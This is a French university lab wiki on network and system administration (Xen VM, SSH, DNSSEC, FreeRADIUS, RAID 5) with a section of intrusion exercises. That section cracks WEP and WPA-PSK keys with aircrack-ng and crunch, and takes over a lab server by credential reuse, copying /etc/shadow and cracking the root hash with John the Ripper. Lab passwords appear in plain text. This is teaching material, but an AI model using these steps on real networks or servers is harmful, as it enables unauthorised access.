5. renommez les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kwww.belle-rose.site.+005+37138.key www.belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kwww.belle-rose.site.+005+35638.key www.belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kwww.belle-rose.site.+005+37138.private www.belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kwww.belle-rose.site.+005+35638.private www.belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. incluez les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, incrémentez le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
$include /etc/bind/www.belle-rose.site.dnssec/www.belle-rose.site-ksk.key&lt;br /&gt;
$include /etc/bind/www.belle-rose.site.dnssec/www.belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. signez les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
dnssec-signzone -o www.belle-rose.site -k www.belle-rose.site-ksk ../db.belle-rose.site  www.belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. modifiez le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;www.belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à votre registrar (par exemple gandi.net, regardez à &amp;quot;Manage DNSSEC&amp;quot; dans la section &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
 $ cat www.belle-rose.site-ksk.key &lt;br /&gt;
 ; This is a key-signing key, keyid 37138, for www.belle-rose.site.&lt;br /&gt;
 ; Created: 20220110141246 (Mon Jan 10 14:12:46 2022)&lt;br /&gt;
 ; Publish: 20220110141246 (Mon Jan 10 14:12:46 2022)&lt;br /&gt;
 ; Activate: 20220110141246 (Mon Jan 10 14:12:46 2022)&lt;br /&gt;
 www.belle-rose.site. IN DNSKEY 257 3 5 AwEAAdj7i1QbWFS5EPthytgpKDLbqx8PWbtArgcXL4zZFFPeWBfD1yVa IP0XjVfzi+4/MaPU778QUy1g7edNar8355/YCWMRQrzIJZN9adpBHBMj XWT2tR9ilLSoB1TmIy6ZC/DZmlR8XShUixG0YDkXFJ7eVyZNpKVAnKKx   /jp5foFzs1yCiIBRmE00dQvikn81aGdLOSXOY2UdbxC2rE6VXrs1jYeL 29hD+R/HDJEXf7m+qPSlYVyayKXu3WW8RRMPYp7IqcYCUuM78OKC2qkv //82v8yLyB3ppixJpI7U7OR0K89f4sPASER8CW6bwOE5eee+YWw0BLS5 cu8JukZXbNs=&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Sécurisation des données (RAID 5) =&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
= Chiffrement des données =&lt;br /&gt;
&lt;br /&gt;
a&lt;/div&gt;</summary>
		<author><name>Bjacquot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57744</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57744"/>
				<updated>2022-01-10T16:38:38Z</updated>
		
		<summary type="html">&lt;p&gt;Bjacquot : /* DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSh ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;www.belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE www.belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE www.belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. renommez les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kwww.belle-rose.site.+005+37138.key www.belle-rose.site-ksk.key&lt;br /&gt;
